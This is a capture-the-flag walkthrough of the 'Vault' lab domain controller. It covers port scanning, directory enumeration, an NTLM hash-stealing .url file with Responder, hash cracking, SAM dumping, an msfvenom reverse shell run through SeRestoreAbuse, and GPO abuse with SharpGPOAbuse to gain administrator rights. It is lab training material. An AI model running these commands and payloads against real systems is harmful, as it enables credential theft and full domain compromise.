Initial Reconnaissance
We start with a basic scan to see which ports are open on the target (IP 192.168.240.172). For this, rustscan is a good quick-fire option:
rustscan -a 192.168.240.172Scan output:
Loads of open ports show up, and many of them point to services you’d expect on a Windows domain controller like Kerberos, LDAP, SMB, and RPC. This suggests we're probably up against a Domain Controller.
To dig deeper, I ran an nmap scan with service detection and OS fingerprinting across all TCP ports:
sudo nmap -A -sC -sV -T4 192.168.240.172 -p- --open -v -oN tcp_scan.nmapScan results:
From the output, we learn:
- It's running Active Directory under the domain
vault.offsec. - The host is named
DCand provides plenty of Windows domain-related services. - Port
3389(RDP) is open, as well as5985(WinRM), meaning we could try remote access later on.
To cover more ground, I scanned the top 1000 UDP ports too:
nmap -A -sV -sC -sU 192.168.240.172 --script=*enum -oN udp_scan.nmapNext, I mapped the domain name to the IP in my /etc/hosts file to make future commands easier:
sudo nano /etc/hosts192.168.240.172 vault.offsec DC.vault.offsecEnumeration
DNS
Tried a zone transfer using dig, which can reveal internal hosts if DNS is misconfigured:
dig @192.168.240.172 axfr vault.offsec┌──(kali㉿kali)-[~/Vault]
└─$ dig @192.168.240.172 axfr vault.offsec
; <<>> DiG 9.20.4-4-Debian <<>> @192.168.240.172 axfr vault.offsec
; (1 server found)
;; global options: +cmd
; Transfer failed.No luck – the transfer failed (as expected in most hardened environments).
Kerberos
Used the krb5-enum-users NSE script in nmap to try enumerating valid usernames:
nmap -Pn -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm="{Domain_Name}",userdb={Big_Userlist} 192.168.240.172
nmap -Pn -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm="vault.offsec",userdb='/home/kali/Desktop/wordlists/seclists/Usernames/Names/names.txt' 192.168.240.172No valid users came back, but this method can be useful if a domain leaks usernames via Kerberos pre-auth.
We could try to get service tickets, but we get stopped by a password prompt.
impacket-GetUserSPNs -request -dc-ip 192.168.240.172 vault.offsec/svc_tgs┌──(kali㉿kali)-[~/Vault]
└─$ impacket-GetUserSPNs -request -dc-ip 192.168.240.172 vault.offsec/svc_tgs
Impacket v0.13.0.dev0+20250314.172046.8b4566b1 - Copyright Fortra, LLC and its affiliated companies
Password:LDAP
We might be able to query the LDAP service and pull some useful information. It’s a good idea to save the output to a file, since a successful result can generate a large amount of data. Having it stored makes it easier to search through later using the terminal or a text editor.
ldapsearch -H ldap://192.168.240.172 -x -b"DC=vault,DC=offsec" > ldap_dump.txt┌──(kali㉿kali)-[~/Vault]
└─$ cat ldap_dump.txt
# extended LDIF
#
# LDAPv3
# base <DC=vault,DC=offsec> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A5C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v4563
# numResponses: 1RPC and SMB
Use rpcclient to attempt anonymous access to the Remote Procedure Call (RPC) service on the target machine.
rpcclientis a tool from the Samba suite used to interact with Windows RPC services.U ''sets the username to blank, meaning you're trying to log in without a user account (i.e., anonymously).Ntells it not to prompt for a password (null session).192.168.240.172is the IP of the target (presumably a Domain Controller).
rpcclient -U '' -N 192.168.240.172 ┌──(kali㉿kali)-[~/Vault]
└─$ rpcclient -U '' -N 192.168.240.172
Cannot connect to server. Error was NT_STATUS_ACCESS_DENIEDI tried connecting to SMB anonymously:
smbclient -L 192.168.240.172 -NWe got a list of shares and the one called DocumentsShare stood out as it’s not a standard system share.
Attempted to access it:
smbclient //192.168.240.172/DocumentsShareIt appeared empty, but we had write access. We tested this by uploading a file:
echo 'this is a test' > test.txtput test.txtCapturing NTLM Hashes with Responder
We will use a tool called Responder to capture NTLM credentials by tricking the system into reaching out to our machine. To do this, we’ll create a specially crafted icon shortcut file that triggers a connection back to us.
Let’s start by creating that file. Copy the following content into a new file named Evil.url:
[InternetShortcut]
URL=Random_nonsense
WorkingDirectory=Flibertygibbit
IconFile=\\<YOUR tun0 IP>\%USERNAME%.icon
IconIndex=1For example:
┌──(kali㉿kali)-[~/Vault]
└─$ cat Evil.url
[InternetShortcut]
URL=Random_nonsense
WorkingDirectory=Flibertygibbit
IconFile=\\192.168.45.230\%USERNAME%.icon
IconIndex=1Start Responder on the attacking machine to listen for SMB authentication:
sudo responder -I tun0 -wv Upload Evil.url to the SMB share.
When a user opens that share in Explorer, their system tries to load the icon, leaking NTLM credentials. From Responder, we captured a hash for the user VAULT\anirudh.
If you want to dive deeper into how this technique works, you can check out the full explanation at https://github.com/Greenwolf/ntlm_theft.
Cracking the Hash
Next, take the captured NTLMv2 hash from Responder and save it into a text file. This will allow us to try cracking it with a password list.
Use john to crack the hash:
john --wordlist=/usr/share/wordlists/rockyou.txt --rules=best64 hash.txtWe will add the credentials to our notes.
anirudh:SecureHMRemote Access with RDP and WinRM
We have got a couple of options for remote access. We could try using WinRM, which is Windows Remote Management over port 5985, or see if the credentials work with Remote Desktop on port 3389.
Using the nxc, try RDP using the discovered credentials.
nxc rdp 192.168.240.172 -u anirudh -p SecureHM┌──(kali㉿kali)-[~/Vault]
└─$ nxc rdp 192.168.240.172 -u anirudh -p SecureHM
RDP 192.168.240.172 3389 DC [*] Windows 10 or Windows Server 2016 Build 17763 (name:DC) (domain:vault.offsec) (nla:False)
RDP 192.168.240.172 3389 DC [+] vault.offsec\anirudh:SecureHM This worked and will likely give us GUI access.
xfreerdp /cert:ignore /dynamic-resolution +clipboard /u:'anirudh' /p:'SecureHM' /v:vault.offsecThe command options are pretty straightforward — they tell the client to ignore certificate warnings, adjust the display size to match the window, and enable clipboard sharing.
It’s also a good idea to test this with rdesktop as well, since it can behave a bit differently.
rdesktop -u 'anirudh' -p 'SecureHM' -g 85% -D DC.vault.offsecWe’re seeing an error saying “The username and password is incorrect,” which means RDP access isn’t working. Since that’s a no-go, our next step is to try enumeration using tools like crackmapexec or nxc instead.
nxc winrm 192.168.240.172 -u anirudh -p SecureHM┌──(kali㉿kali)-[~/Vault]
└─$ nxc winrm 192.168.240.172 -u anirudh -p SecureHM
WINRM 192.168.240.172 5985 DC [*] Windows 10 / Server 2019 Build 17763 (name:DC) (domain:vault.offsec)
WINRM 192.168.240.172 5985 DC [+] vault.offsec\anirudh:SecureHM (Pwn3d!)We’ve successfully connected to the machine via WinRM. The tool reports ‘Pwn3d’, which usually means we’ve got Administrator-level access, although CrackMapExec isn’t always accurate with that.
Now it’s time to take a closer look inside the system.
evil-winrm -i 192.168.240.172 -u anirudh -p SecureHMUser Flag
The user flag is located in the anirudh’s Desktop:
Privilege Escalation
Option 1: Dump Local Hashes (Not Successful)
Check user privileges:
whoami /privEven though this isn’t the Administrator account, we still have quite a bit of control. Privileges like SeBackupPrivilege, SeRestorePrivilege, and SeMachineAccountPrivilege are all promising avenues for escalation.
The SeBackupPrivilege stands out in particular. It lets us copy protected files like the SAM and SYSTEM hives, which store password hashes for local accounts. That’s a solid starting point.
Let’s give it a go by saving copies of those files to a directory we have access to.
reg save hklm\sam C:\users\anirudh\sam.hive
reg save hklm\system C:\users\anirudh\system.hiveUse Evil-WinRM’s built-in download command to retrieve the files. They’ll be saved to the same directory on your local machine where you originally launched the Evil-WinRM session.
download sam.hive
download system.hiveOnce you've downloaded the files, you can analyse them using impacket-secretsdump to extract the password hashes.
impacket-secretsdump -system system.hive -sam sam.hive LOCALThese hashes belong to local users, not domain accounts. Still, if we manage to access the system as the local Administrator, we’ll have everything we need regardless.
Let’s now check whether local administrators are allowed to connect via RDP and WinRM.
net localgroup 'Remote Desktop Users'
net localgroup 'Remote Management Users'It looks like only our current user has permission to access the system remotely.
We gave impacket-psexec a go using the Administrator’s hash, but it didn’t work:
┌──(kali㉿kali)-[~/Tools]
└─$ impacket-psexec -hashes 00000000000000000000000000000000:608339ddc8f434ac21945e026887dc36 administrator@192.168.240.172
Impacket v0.13.0.dev0+20250314.172046.8b4566b1 - Copyright Fortra, LLC and its affiliated companies
[-] SMB SessionError: code: 0xc000006d - STATUS_LOGON_FAILURE - The attempted logon is invalid. This is either due to a bad username or authentication information.Option 2: Scheduled Task Enumeration (Not Successful)
Let’s run winPEAS to see what useful information it can find. You’ll need to upload it using Evil-WinRM’s built-in upload command. Make sure the file is in the same directory where you started Evil-WinRM.
upload winpeas.exeThere are interesting findings:
We don’t have direct access to view all the scheduled tasks, but there’s still a chance we can modify one. Let’s take a closer look at what’s available.
Get-ScheduledTask
schtaskscd C:\windows\system32\tasks
lsWe’ve come across the Killexplorer task again. The associated PowerShell script is sitting in our user’s home directory. Let’s take a look at what it does. Ideally, we’re after a scheduled task that runs with SYSTEM-level privileges.
type Killexplorer*Evil-WinRM* PS C:\windows\system32\tasks> type Killexplorer
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo>
<Date>2021-11-19T01:05:54</Date>
<Author>VAULT\anirudh</Author>
<URI>\Killexplorer</URI>
<SNIP>This task runs under our current user account. Let’s also check what the script actually does.
type C:\Users\anirudh\KillExplorer.ps1*Evil-WinRM* PS C:\Users\anirudh\Documents> type C:\Users\anirudh\KillExplorer.ps1
$shell=New-Object -ComObject Shell.Application
$window = $shell.Windows() | Where-Object { $_.LocationURL -like "$(([uri]"C:\DocumentsShare").AbsoluteUri)*" }
$window | ForEach-Object { $_.Quit() }This suggests the scheduled task was originally designed to close a particular Explorer window, probably as part of an automated clean-up process.
Option 3: Abuse SeRestorePrivilege (Pwned)
Looking into ways we can escalate privileges using the rights we have led to a GitHub tool here:
https://github.com/dxnboy/redteam/blob/master/SeRestoreAbuse.exe
Next, we’ll create a malicious reverse shell payload using msfvenom.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.230 LPORT=80 -f exe -o reverse.exe┌──(kali㉿kali)-[~/Tools]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.230 LPORT=80 -f exe -o reverse.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes
Saved as: reverse.exeUse Evil-WinRM’s upload command to transfer both SeRestoreAbuse.exe and reverse.exe to the target.
upload SeRestoreAbuse.exe
upload reverse.exeSet up a listener on your machine to catch the reverse shell. It’s a good idea to use rlwrap so you retain arrow key functionality in the shell session.
sudo rlwrap nc -nvlp 80Next, run SeRestoreAbuse.exe. It’s best practice to use the full absolute path when executing it to avoid any path-related issues.
.\SeRestoreAbuse.exe C:\Users\anirudh\Documents\reverse.exeNow switch back to your listener and keep an eye out. If everything worked, you should see a connection coming through.
┌──(kali㉿kali)-[~]
└─$ sudo rlwrap nc -nvlp 80
[sudo] password for kali:
listening on [any] 80 ...
connect to [192.168.45.230] from (UNKNOWN) [192.168.240.172] 49940
Microsoft Windows [Version 10.0.17763.2300]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\systemOption 4: GPO Abuse (Pwned)
Go ahead and upload PowerView.ps1 using the upload command in Evil-WinRM.
upload PowerView.ps1Run the PowerView script to load its functions, then use it to retrieve details about the Default Domain Policy. This will help us check if we can make changes to it.
.\powerview.ps1
Get-GPO -Name "Default Domain Policy"Let’s check what level of access our user has on the Default Domain Policy by running:
Get-GPPermission -Guid 31b2f340-016d-11d2-945f-00c04fb984f9 -TargetType User -TargetName anirudh*Evil-WinRM* PS C:\Users\anirudh\Documents> Get-GPPermission -Guid 31b2f340-016d-11d2-945f-00c04fb984f9 -TargetType User -TargetName anirudh
Trustee : anirudh
TrusteeType : User
Permission : GpoEditDeleteModifySecurity
Inherited : FalseLooks like we’ve got full control over the GPO which means we can do just about anything!
We’re going to take advantage of this by adding our user to the local administrators group via the GPO, then force a policy update to apply the change.
To make this easier, download SharpGPOAbuse.exe from the following repo:
https://github.com/byronkg/SharpGPOAbuse
Once you’ve got it, upload the executable to your active Evil-WinRM session.
upload SharpGPOAbuse.exeNext, run the tool with the following command to add our current user to the local administrators group via the Default Domain Policy:
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount anirudh --GPOName "Default Domain Policy"Now let’s manually trigger a group policy update to apply the changes straight away:
gpupdate /force*Evil-WinRM* PS C:\Users\anirudh\Documents> gpupdate /force
Updating policy...
Computer Policy update has completed successfully.
User Policy update has completed successfully.Let’s confirm the change by checking the members of the local administrators group:
net localgroup administrators*Evil-WinRM* PS C:\Users\anirudh\Documents> net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
anirudh
The command completed successfully.Root Flag
The root flag is located in the Administrator’s Desktop
References
- https://medium.com/@Dpsypher/proving-grounds-practice-vault-158516460860
- https://www.youtube.com/watch?v=JocbrhLXuss